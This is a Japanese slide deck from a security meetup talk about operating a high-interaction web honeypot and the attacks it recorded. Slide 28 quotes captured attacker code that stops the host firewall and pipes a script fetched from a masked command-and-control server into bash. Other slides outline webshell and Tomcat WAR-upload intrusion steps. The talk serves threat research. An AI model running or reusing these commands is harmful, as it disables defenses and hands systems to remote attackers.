Slide 1

Slide 1 text

高対話型ハニーポットに 乗り込んで “厄災(リスク)”を攻略し “希望(リターン)”を 持ち帰る話 2019年2月23日 元祖 濱せっく #2 @graneed111

Slide 2

Slide 2 text

自己紹介 graneed セキュリティのお仕事 CTFer - チームnoraneco - SECCON 2018 国際決勝出場 ハニーポッター 2

Slide 3

Slide 3 text

3 ハニーポットの運用目的は様々 スキャン活動の監視 マルウェア検体の入手 攻撃手法の収集

Slide 4

Slide 4 text

4 ハニーポットの分類 コロナ社「実践サイバーセキュリティモニタリング」より ハニーポット 攻撃経路 インタラクション サーバ クライアント ハニートークン 高対話 ハイブリッド 低対話 分類 低対話型と高対話型の比較 インタラクション 検知精度 情報収集 偽装性 スケーラビリ ティ 安全性 低対話型 低 低 低 高 高 高対話型 高 高 高 低 低 本LTで話すテーマ

Slide 5

Slide 5 text

低対話型ハニーポットで頻繁に観測するもの 5 IoT機器やルータを狙ったスキャン phpMyAdminを狙ったスキャンまたはパスワードクラック WordPressを狙ったスキャンまたはパスワードクラック tomcatを狙ったスキャンまたはパスワードクラック ・ ・ ・

Slide 6

Slide 6 text

低対話型ハニーポットで頻繁に観測するもの 6 IoT機器やルータを狙ったスキャン phpMyAdminを狙ったスキャンまたはパスワードクラック WordPressを狙ったスキャンまたはパスワードクラック tomcatを狙ったスキャンまたはパスワードクラック ・ ・ ・

Slide 7

Slide 7 text

スキャンのその先へ 7 攻撃者は、スキャン活動によって 狙ったプラットフォームや フレームワークの使用を確認後、 本格的な攻撃に移行 高対話型ハニーポットを用意し、 攻撃者に次のステップに 進んでもらいたい

Slide 8

Slide 8 text

高対話型ハニポの厄災(リスク)と希望(リターン) 8 本物のアプリケーションを使用する ため、本当に乗っ取られる 「厄災(リスク)」が大きい 一方、低対話型では得られない 「希望(リターン)」が期待できる

Slide 9

Slide 9 text

期待する希望(リターン) 9 C2サーバの情報、IoC 新しい脆弱性に対する攻撃手法 侵入後の行動パターン 洗練されたエクスプロイトコード

Slide 10

Slide 10 text

10 5大厄災(リスク)

Slide 11

Slide 11 text

11 5大厄災(リスク)

Slide 12

Slide 12 text

厄災を攻略してハニポ運用するために必要なもの 12 「許可」「手段」「資格」「契約」

Slide 13

Slide 13 text

契約 13

Slide 14

Slide 14 text

契約 14 大前提として独立したネットワーク環境を推奨 方法1.クラウドサーバーまたはVPCを契約 方法2.自宅で構築するなら、2回線目を契約    (フレッツ光ならセッションプラスを利用) NTT東日本「フレッツ・セッションプラス サービス内容」より

Slide 15

Slide 15 text

資格 15

Slide 16

Slide 16 text

資格 16 求められる資格は、 基本は毎日、最悪でも週一は観測を続ける 気概を持つこと 想定外の厄災に遭って、気付いたら サーバを乗っ取られている可能性は十分にある

Slide 17

Slide 17 text

手段 17

Slide 18

Slide 18 text

手段 18 高対話型ハニーポット BW-Pot https://github.com/graneed/bwpot 特徴 ・頻繁に攻撃のターゲットとなっている  Webアプリケーション環境を使用 ・毎日、クリーンな環境に自動リストア ・Google BigQueryへのリアルタイムなログ連携 ・低スペックなサーバで運用可能

Slide 19

Slide 19 text

手段 19 アーキテクチャ

Slide 20

Slide 20 text

手段 20 Google BigQueryでSQLを使用した分析

Slide 21

Slide 21 text

手段 21 Googleデータポータルでダッシュボード作成

Slide 22

Slide 22 text

手段 22 SQLを使用できるため、表結合やグループ関数等を 駆使すれば新種リクエストの確認も容易

Slide 23

Slide 23 text

許可 23

Slide 24

Slide 24 text

許可 24 実は、T3プロトコル(WeblogicのRMI仕様の実装)を ターゲットとした攻撃を観察したいため、 WebLogic Server環境も搭載しようと、 Oracle社に確認してみました。 個人でセキュリティ・リサーチを目的に、開発者向け WebLogic Server(以降、WLS)を使用して ハニーポット(攻撃者からの不正アクセスの観察を目的としたシステム )を構築したいと考えています。 (途中略) この利用目的の場合、 OTNライセンスの範囲で開発者向け WebLogic Serverを使用可能でしょうか? 質問

Slide 25

Slide 25 text

許可 25 実は、T3プロトコル(WeblogicのRMI仕様の実装)を ターゲットとした攻撃を観察したいため、 WebLogic Server環境も搭載しようと、 Oracle社に確認してみました。 個人でセキュリティ・リサーチを目的に、開発者向け WebLogic Server(以降、WLS)を使用して ハニーポット(攻撃者からの不正アクセスの観察を目的としたシステム )を構築したいと考えています。 (途中略) この利用目的の場合、 OTNライセンスの範囲で開発者向け WebLogic Serverを使用可能でしょうか? 質問 WebLogic ServerのOTN契約書の記載内容は以下リンク先をご参照ください。 <OTN Free Developer License Agreement> https://www.oracle.com/technetwork/licenses/wls-dev-license-1703567.html <【日本語参考訳】>※上記の日本語訳です http://www.oracle.com/technetwork/jp/licenses/wls-dev-license-1703567-ja.html また上記OTNライセンス契約には、次の条件が規定されています。 規約に完全同意していただく必要があるため、詳細はライセンス契約をお読みください。 <利用条件> ・1台の開発者のデスクトップ上で稼働し、  1ユーザーしかアクセスしない Weblogic Server環境のみ対象 (共有開発不可) 回答 使用NG 使用するソフトウェアのライセンスの許可に注意

Slide 26

Slide 26 text

観察事例 26

Slide 27

Slide 27 text

観察事例1.PHP 27 低対話型 で観測 ①POST /hoge.php  fuga=die(@md5(J4nur4ry)); 4df5791c3e09e5c7faa7b3ce35d9cd4b ②POST /hoge.php  images.php設置リクエスト ③POST /images.php  a=just for fun&code=文字列出力コード(BASE64エンコード) Hello, Peppa! ④POST /images.php  a=just for fun&code=システム情報出力コード (BASE64エンコード) システム情報 ⑤POST /images.php  a=just for fun&code=攻撃コード(BASE64エンコード) C2サーバ通信& 任意シェル実行 高対話型で観測

Slide 28

Slide 28 text

観察事例1.PHP 攻撃コード抜粋 $PS='/etc/init.d/iptables stop; service iptables stop; SuSEfirewall2 stop; reSuSEfirewall2 stop;'; echo(@execute($PS)?'success':'failed'); $PS='(wget -U "Mozilla/WGET" -q -O- http://XXX.XXX.XXX.XXX/Update/test/i.php || curl -A "Mozilla/CURL" -fsSL http://XXX.XXX.XXX.XXX/Update/test/i.php || python -c "from urllib2 import urlopen,Request; print(urlopen(Request(\'http://XXX.XXX.XXX.XXX/Update/test/i.php\', None,{\'User-Agent\':\'Mozilla/Python2\'})).read());" ) | /bin/bash'; die(@execute($PS)?'success':'failed'); ①Firewallの停止 ②C2サーバからシェルスクリプト取得して実行 (wget、curlまたはpythonのいずれかを使用) ① ②

Slide 29

Slide 29 text

観察事例2.Apache Tomcat 29 低対話型 で観測 ①パスワードクラック ②POST /admin-manager/admin.jsp  act=SI ③GET /manager/html  BASIC認証のID/Password ④WARファイルアップロード&デプロイ ⑥POST /admin-manager/admin.jsp  act=SH&p2=True&p1=攻撃コマンド(BASE64エンコード) C2サーバ通信& 任意シェル実行 高対話型で観測 認証OK ⑤POST /admin-manager/admin.jsp  act=SI システム情報

Slide 30

Slide 30 text

まとめ 30 github :https://github.com/graneed/bwpot Blog :https://graneed.hatenablog.com/ →本日ご紹介した事例の詳細レポート記事もあります Twitter :@graneed111 高対話型のハニーポットを設置すると、 攻撃者の生の動きを観察できるかもしれません 「許可」「手段」「資格」「契約」を得て、 ハニーポットに乗り込んで出航しませんか!